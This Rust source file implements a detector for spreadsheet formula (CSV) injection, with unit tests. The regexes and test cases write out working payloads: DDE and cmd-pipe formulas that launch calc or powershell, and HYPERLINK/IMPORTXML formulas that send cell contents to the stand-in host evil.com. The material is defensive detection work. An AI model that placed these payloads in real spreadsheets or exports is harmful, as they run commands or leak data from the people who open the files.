1use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7const AT_FUNCS: &str = "SUM|HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC|AVERAGE|COUNT|MIN|MAX";
16
17static PATTERNS: LazyLock<Vec<Regex>> = LazyLock::new(|| {
18 vec![
19 Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*cmd\|").unwrap(),
24 Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][ \t]*(?:HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC)[ \t]*\(").unwrap(),
26 Regex::new(r"(?im)(?:^|[,;])[ \t]*[=+\-@][^\n|]{0,120}\|[^\n]{0,120}[^ \t\n]![A-Z]{1,3}\$?\d{1,5}").unwrap(),
30 Regex::new(r"(?i)\bDDE[ \t]*\(").unwrap(),
32 Regex::new(&[r"(?m)(?:^|[,;])[ \t]*@[ \t]*(?:", AT_FUNCS, r")[ \t]*\("].concat()).unwrap(),
35 ]
36});
37
38pub struct FormulaInjectionDetector;
39
40impl Detector for FormulaInjectionDetector {
41 fn name(&self) -> &'static str {
42 "formula_injection"
43 }
44
45 fn detect(&self, input: &str) -> Option<DetectionResult> {
46 regex_detect(
47 &PATTERNS,
48 self.name(),
49 AttackCategory::Data,
50 Severity::High,
51 "Spreadsheet formula injection detected",
52 input,
53 )
54 }
55}
56
57#[cfg(test)]
58mod tests {
59 use super::*;
60 use crate::test_helpers::{assert_clean, assert_detected};
61
62 fn det() -> FormulaInjectionDetector {
63 FormulaInjectionDetector
64 }
65
66 fn assert_hit(input: &str) {
67 assert_detected(&det(), input, AttackCategory::Data, Severity::High);
68 }
69
70 #[test]
71 fn name_is_formula_injection() {
72 assert_eq!(det().name(), "formula_injection");
73 }
74
75 #[test]
76 fn detects_command_pipe_and_dde_cell_ref() {
77 for input in [
78 "=cmd|' /C calc'!A0",
79 "=cmd|'/C powershell'!A1",
80 "+cmd|' /C calc'!A0",
81 "@cmd|' /C calc'!A0",
82 "=rundll32|'javascript:alert(1)'!A0",
83 "=2+5+cmd|' /C calc'!A0",
84 ] {
85 assert_hit(input);
86 }
87 }
88
89 #[test]
90 fn detects_data_exfiltration_functions() {
91 for input in [
92 r#"=HYPERLINK("http://evil.com?x="&A1,"click")"#,
93 r#"=IMPORTXML("http://evil.com","//x")"#,
94 r#"=IMPORTDATA("http://evil.com/x.csv")"#,
95 r#"=IMPORTRANGE("http://evil.com","Sheet1!A1")"#,
96 r#"=WEBSERVICE("http://evil.com")"#,
97 r#"=FILTERXML("http://evil.com","//x")"#,
98 r#"=RTD("foo.bar",,"x")"#,
99 r#"=EXEC("calc")"#,
100 r#"= HYPERLINK("http://evil.com")"#,
101 ] {
102 assert_hit(input);
103 }
104 }
105
106 #[test]
107 fn detects_legacy_at_formulas_and_dde() {
108 for input in [
109 "@SUM(1+1)*cmd|' /C calc'!A0",
110 "@SUM(1+1)",
111 "@HYPERLINK(\"http://evil.com\")",
112 r#"DDE("cmd";"/C calc";"!A0")"#,
113 "=DDE(\"cmd\",\"/C calc\")",
114 ] {
115 assert_hit(input);
116 }
117 }
118
119 #[test]
120 fn detects_payload_in_multiline_csv() {
121 let csv = "name,email\nadmin,=cmd|' /C calc'!A0\nbob,bob@x.com";
122 let r = det().detect(csv).expect("expected detection");
123 assert_eq!(r.attack_type, "formula_injection");
124 assert!(
125 r.matched_pattern.contains("=cmd|"),
126 "matched_pattern 应覆盖载荷: {:?}",
127 r.matched_pattern
128 );
129 assert_eq!(
130 &csv[r.offset..r.offset + r.matched_pattern.len()],
131 r.matched_pattern
132 );
133 }
134
135 #[test]
136 fn ignores_doc_commands_and_annotations() {
137 for input in ["- cmd | run the build", "- CMD | echo hi", "| cmd | 说明"] {
139 assert_clean(&det(), input);
140 }
141 for input in [
143 "@GET(\"/users\")",
144 "@POST(\"/users\")",
145 "@DELETE(\"/users/1\")",
146 "@TODO(清理临时文件)",
147 "@FIXME(x)",
148 ] {
149 assert_clean(&det(), input);
150 }
151 assert_clean(&det(), "- 参见 RFC 1234 | 以及 !A1");
153 }
154
155 #[test]
156 fn spaced_cmd_pipe_still_caught_by_cell_ref_pattern() {
157 for input in [
159 "=cmd|' /C calc'!A0",
160 "=cmd | ' /C calc'!A0",
161 "+cmd|'/C powershell'!A1",
162 ] {
163 assert_hit(input);
164 }
165 }
166
167 #[test]
168 fn legacy_at_functions_still_detected() {
169 for input in [
170 "@SUM(1+1)",
171 "@HYPERLINK(\"http://evil.com\")",
172 "@AVERAGE(B1:B9)",
173 ] {
174 assert_hit(input);
175 }
176 }
177
178 #[test]
179 fn ignores_benign_inputs() {
180 for input in [
181 "Hello, this is a normal text input. Nothing suspicious here.",
182 "= 5",
183 "-3 度",
184 "+1 more item",
185 "@alice 你好",
186 "a@b.com",
187 "contact: alice@example.com",
188 "cost is -20 dollars",
189 "=SUM(A1:A5) 是求和公式",
190 "=AVERAGE(B1:B9)",
191 "@media (max-width: 600px)",
192 "user[name]=alice",
193 "价格从 -5 到 +5 不等",
194 ] {
195 assert_clean(&det(), input);
196 }
197 }
198
199 #[test]
200 fn plain_sum_is_left_to_the_coarse_tier() {
201 use crate::data::CsvInjectionDetector;
203 for input in ["=SUM(A1:A5)", "=SUM(A1:A5) 是求和公式", "=1+1"] {
204 assert_clean(&det(), input);
205 assert!(
206 CsvInjectionDetector.detect(input).is_some(),
207 "csv_injection 粗粒度层应仍命中: {input}"
208 );
209 }
210 }
211
212 #[test]
213 fn edge_cases() {
214 assert_clean(&det(), "");
215 assert_clean(&det(), " ");
216 assert_clean(&det(), "你好世界 こんにちは");
217 assert_clean(&det(), "a=cmd|' /C calc'!A0");
219 assert_hit("admin,=cmd|' /C calc'!A0");
221 assert_hit("x;=HYPERLINK(\"http://evil.com\")");
222 assert_clean(&det(), "=foo|bar");
224 assert_clean(&det(), "baddle(");
226 }
227}